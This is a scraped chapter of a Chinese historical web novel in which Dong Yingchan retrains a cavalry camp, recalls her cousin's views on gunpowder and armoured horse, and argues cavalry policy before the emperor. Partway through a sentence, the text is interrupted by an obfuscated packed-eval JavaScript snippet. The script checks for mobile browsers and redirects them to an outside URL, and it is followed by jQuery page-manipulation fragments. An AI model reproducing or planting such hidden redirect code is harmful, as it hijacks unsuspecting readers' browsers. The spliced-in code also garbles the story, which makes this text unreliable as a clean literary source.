43. 骑兵

作品:《我与你道同相为谋

    董英婵整理之后去了骑兵营。副手李佑经过猎场一事后对董氏女将十分敬佩,看到董英婵到了就迎了上去。


    “主官,今日可练队形?”


    董英婵看他,“你是甲骑?”


    李佑答话,“末将是甲骑,骑兵营分两部,一部轻骑,二部甲骑,日常训练都是分开训练的。轻骑主练骑射,甲骑主练防护与队形冲击。”


    董英婵将两部副手一同叫来训话。


    “两部基础的骑术训练和马匹护理必学,但之后甲骑不再单练,与轻骑混练。”


    一部的副手在一旁问,“主官,训练日后以何为主?”


    “单兵骑术必须过关,不允许有某些人混队,考校以个人骑术考校,着重训练单兵侦察、袭扰,传递情报,长途奔袭,以及学习步兵战术,必须能看懂形势做以配合,武器主练弓箭、辅以长刀。”


    董英婵说完,又与二人培训完作训计划,将新的训练模式写成文书,要送递兵部。一部倒还好,二部的李佑着实松了一口气,甲骑负重训练,很是辛苦,士兵都是硬坚持着。


    李佑满怀憧憬地问董英婵,“那位大人那箭法,我们可能学?”


    董英婵听人说了猎场那一箭,可那在她董英睿的本事里还真不算什么。


    带着二人出去,在校场里取了弓箭,迅速飞出两箭,后一箭用了更大的力度,直接打在前一箭的箭簇上,顺着扎入草人身体内部。


    “若是活物,也是一样道理,无他,唯手熟尔。”


    二人目瞪口呆。


    旁边路过的郑高明也是如此。


    他苦训三年,才勉强能有几支做到,他觉得还是运气卡上去的。


    “你是郑高阳的弟弟?”董英婵听说过他。


    郑高明上前行礼,“是。”


    “听说我堂侄的马被皇族世子抢了,你还帮了他。”


    “是他们先将我绑了,才抢了他的马。”


    旁边几人都笑出声来,郑高明一脸无辜。


    董英婵也笑了,“也听说你擅射,来,展示一下。”


    郑高明上箭拉弓,瞄准撒放,正中靶心。


    “不错,在轻骑?”


    “还没正式招收,这小子可是个好苗子,我想着好好培养,日后定有作为。”


    负责一部的副手在一旁夸赞。


    董英婵却看着他问,“可愿去永定?我觉得那里更适合你。”


    郑高明愣了,身边的二人也愣了。


    “主官,这...”


    董英婵打断副手的话,“每个将士都有他的战场,他更适合永定。”


    郑高明回过神,“可我还未曾...”


    “到那再慢慢适应,你的骑术我已通过华彦看见,无需多言,若你真想建一番功业,都城供你发展的机会还是太少,都城有弓箭营擅步射,骑兵营虽训练骑射,但行射能用到的机会很少,你的才华除了日复一日的训练之外,很难有被看见的机会,永定缺骑射之才,你去尝试。”


    郑高明抱拳行礼。跟着又听了些经验和交代,回了武学院申报去永定。


    董英婵带着二人前去训练,让人将文书呈去兵部,安排好以后她看着眼前练习的士兵,又想起她幼时。


    “董英睿,你听那爆竹声,要过年了。”


    十岁的董英婵托着头坐在董英睿院子的廊下,听着外面街道爆竹声响。


    董英睿的神情冰冷。


    “若能用于民乐,也能用于战场。”


    “若用于战场,能如何用?”


    “不知,但爆竹能伤人,若改为军用,必也能杀敌。”


    董英婵不理解。


    “董英婵,我突然觉得,练甲骑没有意义,若火药真能用于军事,铠甲能挡得住吗?”


    董英婵懵懵懂懂,她只是跟着她练箭,别的并不懂。


    “轻骑可以,轻骑速度极快,若能搭配,必然无敌。”


    “你是不是病了?说的都是什么?”


    “我没病,是旁人病了,为何还没造出来,一定有什么是可以用的。”


    后来董英婵才知道,爆竹所用的火药是严格管控的东西,工部控制资源,从不往外流出。


    但一直也没有人说过它可以杀敌。


    只是董英睿自那以后便放弃了众人吹捧的甲骑,将骑射训练加了两到三倍的量,到如今她每每听到爆竹声响,都会想起董英睿的话,怎么还没人造出来?


    造什么?她不知道。


    董英睿说她也不知道,她只坚信一定会有。


    “甲骑笨重,虽是杀器,对战场的条件却太过严苛。在最早时或许可以凭借甲骑征战四方,但如今各方形势已定,甲骑用处十分受限,需战场平坦方便组建队形冲击,又因机动性过差极易被对方袭扰,若无轻骑兵从旁协助保护,甲骑半点作用也无。花费巨大并无作用,放弃并不可惜。”


    董英婵常听她口出狂言,早都习惯了。


    “甲骑的冲锋力那可是历史见证过的,谁与争锋?若放弃甲骑,在关键时如何给敌人致命一击?”


    董英睿那时是怎么说的?


    “致命一击?甲骑的致命一击,是建立在大量的步兵能够对敌围阵,轻骑能够拦截对方支援的情况下才能实现,就像什么?就像你用铁锤去砸一个鸡蛋,这鸡蛋还得在你的碗里才行。否则鸡蛋滚跑了,铁锤追都追不上。”


    回过神来,她认真地看士兵训练,时不时地上去指正一些细节上的错误,安稳地度过了在骑兵营的第一天。


    何晋在护龙营也十分顺利。


    “主官对我十分关照,很是尽心教授。”他今日真是收获良多。


    董英婵笑笑,“那是自然,陛下旨意,他们不敢轻慢。”


    因董育深任职东郊大营,除休沐日外都在营中,只何晋和董英婵一同在家中吃饭。


    “英婵将军,夫人请英婵将军到本家暂住。”陈嬷嬷带着人来了董育深的府邸。


    董英婵点点头,“嫂嫂早上同我说了,吃完饭就去。”


    何晋也得了董育深的指示,知道成亲前不合适只两人居于一处。


    陈嬷嬷等她吃完饭,一同去了她房中整理了一些常用衣物。


    董海森年纪大了,董育深不愿让董英婵前去打扰,因此与本家打了招呼,让本家暂时照拂。


    董英婵在本家住的还是董英睿的院子,这院子她幼时便十分喜欢。


    董英睿只要有时间什么都学,没有一刻停歇,只有一事可以让她静下心来,就是作画。


    她能一作画就是一整日。


    从死物画到活物,一人一颦一笑的瞬间只要被她看过,都能跃然纸上。


    “若是活物,也是一样道理,无他,唯手熟尔。”


    “董英睿,我真觉得你似神仙下凡,怎能学什么会什么?”


    “无他,唯手熟尔。”


    她永远只用一句话解释她的本事。


    她如今理解董英睿所言,这世上的大部分能力,都可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016918|194223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    以通过源源不断的练习获得,她那时练习骑射到畏惧举弓,害怕见马,拒绝从军。


    可如今自己也能成为别人眼中的厉害人物。


    她在董英睿院中树下又挖出一坛酒,躺在廊下,依旧对月独酌。


    “你大哥要知道你挖他这么多酒,怕是要写信去永定骂你。”


    她轻笑出声,然后又有些头疼。


    “王绍该怎么出来啊?入赘到董氏的又不是他。”


    她边思考边饮酒,直到困倦才回去睡。


    没有好法子。


    次日上朝,董英婵正经许多,崇邦胤看见心里也舒坦了些,又见何晋站在董英朗身后,第一次入朝堂也是很激动,但他显然更稳重。


    朝后董英婵求召,拉着何晋一同前去谢恩。


    “陛下,我与何晋一同前来谢恩,感谢陛下赐婚,愿陛下万岁永昌。”


    “免礼,除此之外可还有事?”


    “有一男子名唤王绍,于经商上很有天赋,不知陛下可能用他?”


    此话一出,殿内几人都有些惊讶。


    崇邦胤看她一眼,“倒是直接,此人在何处?”


    董英婵有些不好意思,“在王氏,就是我太爷爷的小女儿,那个堂姑他们家招婿的王氏。”


    杨内侍理了理,理通顺了。


    崇邦胤有些迷糊,臣子家亲戚太多了,他不知道她太爷爷是谁。


    “我与董英睿是一个太爷爷。”她看陛下有些不解,想来还没想起。


    崇邦胤听她如此说,才算明白。


    “那王绍是王氏族中人,还是入赘到董氏之人?”


    他此前对商人并未有太多关注,也不知有一王氏。但他之前调查董英睿时知道她有个堂姑。


    “王绍是她举荐?”


    “是,她让我想办法将王绍推出来让人看见,我想来想去不知如何推举,这王绍我都不认识。”


    几人又是一阵惊讶。


    崇邦胤也有些无奈。


    “此人朕会关注,先说你,昨日兵部呈上奏折,有你对甲骑的新计划,又是为何?”


    董英婵正色回禀。“都城内寸土寸金,都有所占,空旷之地少有,各营也都有所擅长,甲骑的发挥空间十分有限,却还平白占用众多资源,因此臣提议甲骑改轻骑,或轻重骑,减少资源投入,多对士兵能力进行提升,能更加有效地巡视侦察和处理突发事件。”


    崇邦胤不赞成。


    “处理突发事件,甲骑有更大的威慑力。”


    “甲骑整顿出行需要许久,突发事件最重时效,因此不如轻骑快捷,且轻骑擅追击,在郊外也能有更大优势,甲骑若单行,极易被设陷,反而危险。”


    崇邦胤的眼神凝重。


    “是她的判断?”


    “是。”


    “甲骑在都城无用,在边防可有用?”


    “只对北漠有用,因北漠地处空旷,且军队有规制,容易形成严正密集方阵,甲骑若得轻骑侧翼包抄掩护,在正面冲击时确有无可匹敌的杀伤力。


    于游牧一族就并无大用,那边出轻骑,甲骑无法追击。


    南海出倭寇,主要是海战,敌方擅偷袭,我方近战靠持盾甲兵、长枪手、刀手配合作战歼灭,若有条件再配弓箭手,海上追击还有水师,水边的陆地侦察也是轻骑。


    因此甲骑如今投入过多实在划不来。”


    崇邦胤听她说完,思虑良久。


    “你先退下,朕考虑后再说。”